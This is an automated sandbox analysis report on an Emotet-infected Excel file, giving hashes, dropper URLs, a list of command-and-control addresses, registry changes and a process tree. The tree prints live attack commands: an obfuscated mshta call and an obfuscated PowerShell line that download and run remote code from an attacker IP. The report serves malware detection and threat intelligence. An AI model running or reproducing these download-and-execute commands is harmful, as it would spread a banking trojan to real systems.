emotet | 383cee15ce411b5ef9d31aef9f14e842e6f2c2bca3ecef142cfd77488d8dfeb9

Analysis

max time kernel
54s
max time network
31s
platform
windows7_x64
resource
win7-en-20211208
submitted
28-01-2022 02:22

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General

Target

2022-1-28-9289222ae3a0a0703e61bb7b927d26ac.xls
Size

47KB
MD5

9289222ae3a0a0703e61bb7b927d26ac
SHA1

702b916fa5df54f5059e03892b42025aa7bd52db
SHA256

383cee15ce411b5ef9d31aef9f14e842e6f2c2bca3ecef142cfd77488d8dfeb9
SHA512

452a0018a74026904fcde0d6c29c160aa8e411cb374c951b2e040bd95adcddf565732dad2ce6808538af417978eb57b204d0cefd4ab3d260e075a2f53568bb71

Score

10^/10

emotet epoch4 banker trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.240.118.168/vvv/ppp/fe.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://91.240.118.168/vvv/ppp/fe.png

Extracted

Family

emotet

Botnet

Epoch4

51.15.4.22:443

173.214.173.220:8080

212.237.5.209:443

192.254.71.210:443

216.158.226.206:443

162.243.175.63:443

212.24.98.99:8080

58.227.42.236:80

45.118.115.99:8080

104.251.214.46:8080

185.157.82.209:8080

46.55.222.11:443

188.40.137.206:8080

81.0.236.90:443

103.75.201.2:443

129.232.188.93:443

195.154.133.20:443

159.8.59.82:8080

79.172.212.216:8080

138.185.72.26:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

CMD.EXE

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	384	960	CMD.EXE	EXCEL.EXE

Blocklisted process makes network request 5 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow pid process

4 1424 mshta.exe
5 988 powershell.exe
7 988 powershell.exe
9 1172 rundll32.exe
11 1172 rundll32.exe
Downloads MZ/PE file
Loads dropped DLL 8 IoCs

Processes:

rundll32.exerundll32.exe

pid process

1932 rundll32.exe
1932 rundll32.exe
1932 rundll32.exe
1932 rundll32.exe
1752 rundll32.exe
1752 rundll32.exe
1752 rundll32.exe
1752 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Vridotiywz\jvonfqtxanfjyqx.zzg rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE

flow	pid	process
4	1424	mshta.exe
5	988	powershell.exe
7	988	powershell.exe
9	1172	rundll32.exe
11	1172	rundll32.exe

pid	process
1932	rundll32.exe
1932	rundll32.exe
1932	rundll32.exe
1932	rundll32.exe
1752	rundll32.exe
1752	rundll32.exe
1752	rundll32.exe
1752	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Vridotiywz\jvonfqtxanfjyqx.zzg	rundll32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 32 IoCs

adware spyware

Modify Registry

T1112

Processes:

EXCEL.EXEmshta.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE

Modifies registry class 64 IoCs

Processes:

EXCEL.EXE

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\ShellEx	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon\ = "\"%1\""	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ThreadingModel = "Apartment"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\ = "&Print"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

960 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exerundll32.exe

pid process

988 powershell.exe
1172 rundll32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 988 powershell.exe
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

EXCEL.EXE

pid process

960 EXCEL.EXE
960 EXCEL.EXE
960 EXCEL.EXE

pid	process
960	EXCEL.EXE

pid	process
988	powershell.exe
1172	rundll32.exe

description	pid	process
Token: SeDebugPrivilege	988	powershell.exe

pid	process
960	EXCEL.EXE
960	EXCEL.EXE
960	EXCEL.EXE

Suspicious use of WriteProcessMemory 44 IoCs

Processes:

EXCEL.EXECMD.EXEmshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 960 wrote to memory of 384	960	EXCEL.EXE	CMD.EXE
PID 960 wrote to memory of 384	960	EXCEL.EXE	CMD.EXE
PID 960 wrote to memory of 384	960	EXCEL.EXE	CMD.EXE
PID 960 wrote to memory of 384	960	EXCEL.EXE	CMD.EXE
PID 384 wrote to memory of 1424	384	CMD.EXE	mshta.exe
PID 384 wrote to memory of 1424	384	CMD.EXE	mshta.exe
PID 384 wrote to memory of 1424	384	CMD.EXE	mshta.exe
PID 384 wrote to memory of 1424	384	CMD.EXE	mshta.exe
PID 1424 wrote to memory of 988	1424	mshta.exe	powershell.exe
PID 1424 wrote to memory of 988	1424	mshta.exe	powershell.exe
PID 1424 wrote to memory of 988	1424	mshta.exe	powershell.exe
PID 1424 wrote to memory of 988	1424	mshta.exe	powershell.exe
PID 988 wrote to memory of 708	988	powershell.exe	cmd.exe
PID 988 wrote to memory of 708	988	powershell.exe	cmd.exe
PID 988 wrote to memory of 708	988	powershell.exe	cmd.exe
PID 988 wrote to memory of 708	988	powershell.exe	cmd.exe
PID 708 wrote to memory of 1932	708	cmd.exe	rundll32.exe
PID 708 wrote to memory of 1932	708	cmd.exe	rundll32.exe
PID 708 wrote to memory of 1932	708	cmd.exe	rundll32.exe
PID 708 wrote to memory of 1932	708	cmd.exe	rundll32.exe
PID 708 wrote to memory of 1932	708	cmd.exe	rundll32.exe
PID 708 wrote to memory of 1932	708	cmd.exe	rundll32.exe
PID 708 wrote to memory of 1932	708	cmd.exe	rundll32.exe
PID 1932 wrote to memory of 1752	1932	rundll32.exe	rundll32.exe
PID 1932 wrote to memory of 1752	1932	rundll32.exe	rundll32.exe
PID 1932 wrote to memory of 1752	1932	rundll32.exe	rundll32.exe
PID 1932 wrote to memory of 1752	1932	rundll32.exe	rundll32.exe
PID 1932 wrote to memory of 1752	1932	rundll32.exe	rundll32.exe
PID 1932 wrote to memory of 1752	1932	rundll32.exe	rundll32.exe
PID 1932 wrote to memory of 1752	1932	rundll32.exe	rundll32.exe
PID 1752 wrote to memory of 524	1752	rundll32.exe	rundll32.exe
PID 1752 wrote to memory of 524	1752	rundll32.exe	rundll32.exe
PID 1752 wrote to memory of 524	1752	rundll32.exe	rundll32.exe
PID 1752 wrote to memory of 524	1752	rundll32.exe	rundll32.exe
PID 1752 wrote to memory of 524	1752	rundll32.exe	rundll32.exe
PID 1752 wrote to memory of 524	1752	rundll32.exe	rundll32.exe
PID 1752 wrote to memory of 524	1752	rundll32.exe	rundll32.exe
PID 524 wrote to memory of 1172	524	rundll32.exe	rundll32.exe
PID 524 wrote to memory of 1172	524	rundll32.exe	rundll32.exe
PID 524 wrote to memory of 1172	524	rundll32.exe	rundll32.exe
PID 524 wrote to memory of 1172	524	rundll32.exe	rundll32.exe
PID 524 wrote to memory of 1172	524	rundll32.exe	rundll32.exe
PID 524 wrote to memory of 1172	524	rundll32.exe	rundll32.exe
PID 524 wrote to memory of 1172	524	rundll32.exe	rundll32.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\2022-1-28-9289222ae3a0a0703e61bb7b927d26ac.xls
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:960

C:\Windows\SysWOW64\CMD.EXE
CMD.EXE /c ms^hta http://91.2^40.118.1^68/vvv/ppp/f^e.ht^m^l
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:384

C:\Windows\SysWOW64\mshta.exe
mshta http://91.240.118.168/vvv/ppp/fe.html
3⤵
- Blocklisted process makes network request
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1424

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/vvv/ppp/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:988

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll BBDD
5⤵
- Suspicious use of WriteProcessMemory
PID:708

C:\Windows\SysWow64\rundll32.exe
C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll BBDD
6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1932

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1752

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Vridotiywz\jvonfqtxanfjyqx.zzg",SBMqcM
8⤵
- Suspicious use of WriteProcessMemory
PID:524

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Vridotiywz\jvonfqtxanfjyqx.zzg",DllRegisterServer
9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:1172

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Query Registry

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\ProgramData\QWER.dll
MD5
663176440253f90929c3f3c1803ac8ef

SHA1
846c6d15a185565544b0dd19939c638ad027c5dc

SHA256
63bcd6809cc0e4a7aec5b3abd897877a750a24b95adb14325e0aaf2c5816ba24

SHA512
5f601a9529efc43f9d16a3d671be2c8a6d81452d47f1f146361ddfd7a5ccf9eeeb2726f42a767493824d34b0ea1ed9c75d5151735e7529b57204ceae5a398380

Download Submit
\ProgramData\QWER.dll
MD5
663176440253f90929c3f3c1803ac8ef

SHA1
846c6d15a185565544b0dd19939c638ad027c5dc

SHA256
63bcd6809cc0e4a7aec5b3abd897877a750a24b95adb14325e0aaf2c5816ba24

SHA512
5f601a9529efc43f9d16a3d671be2c8a6d81452d47f1f146361ddfd7a5ccf9eeeb2726f42a767493824d34b0ea1ed9c75d5151735e7529b57204ceae5a398380

Download Submit
\ProgramData\QWER.dll
MD5
663176440253f90929c3f3c1803ac8ef

SHA1
846c6d15a185565544b0dd19939c638ad027c5dc

SHA256
63bcd6809cc0e4a7aec5b3abd897877a750a24b95adb14325e0aaf2c5816ba24

SHA512
5f601a9529efc43f9d16a3d671be2c8a6d81452d47f1f146361ddfd7a5ccf9eeeb2726f42a767493824d34b0ea1ed9c75d5151735e7529b57204ceae5a398380

Download Submit
\ProgramData\QWER.dll
MD5
663176440253f90929c3f3c1803ac8ef

SHA1
846c6d15a185565544b0dd19939c638ad027c5dc

SHA256
63bcd6809cc0e4a7aec5b3abd897877a750a24b95adb14325e0aaf2c5816ba24

SHA512
5f601a9529efc43f9d16a3d671be2c8a6d81452d47f1f146361ddfd7a5ccf9eeeb2726f42a767493824d34b0ea1ed9c75d5151735e7529b57204ceae5a398380

Download Submit
\ProgramData\QWER.dll
MD5
663176440253f90929c3f3c1803ac8ef

SHA1
846c6d15a185565544b0dd19939c638ad027c5dc

SHA256
63bcd6809cc0e4a7aec5b3abd897877a750a24b95adb14325e0aaf2c5816ba24

SHA512
5f601a9529efc43f9d16a3d671be2c8a6d81452d47f1f146361ddfd7a5ccf9eeeb2726f42a767493824d34b0ea1ed9c75d5151735e7529b57204ceae5a398380

Download Submit
\ProgramData\QWER.dll
MD5
663176440253f90929c3f3c1803ac8ef

SHA1
846c6d15a185565544b0dd19939c638ad027c5dc

SHA256
63bcd6809cc0e4a7aec5b3abd897877a750a24b95adb14325e0aaf2c5816ba24

SHA512
5f601a9529efc43f9d16a3d671be2c8a6d81452d47f1f146361ddfd7a5ccf9eeeb2726f42a767493824d34b0ea1ed9c75d5151735e7529b57204ceae5a398380

Download Submit
\ProgramData\QWER.dll
MD5
663176440253f90929c3f3c1803ac8ef

SHA1
846c6d15a185565544b0dd19939c638ad027c5dc

SHA256
63bcd6809cc0e4a7aec5b3abd897877a750a24b95adb14325e0aaf2c5816ba24

SHA512
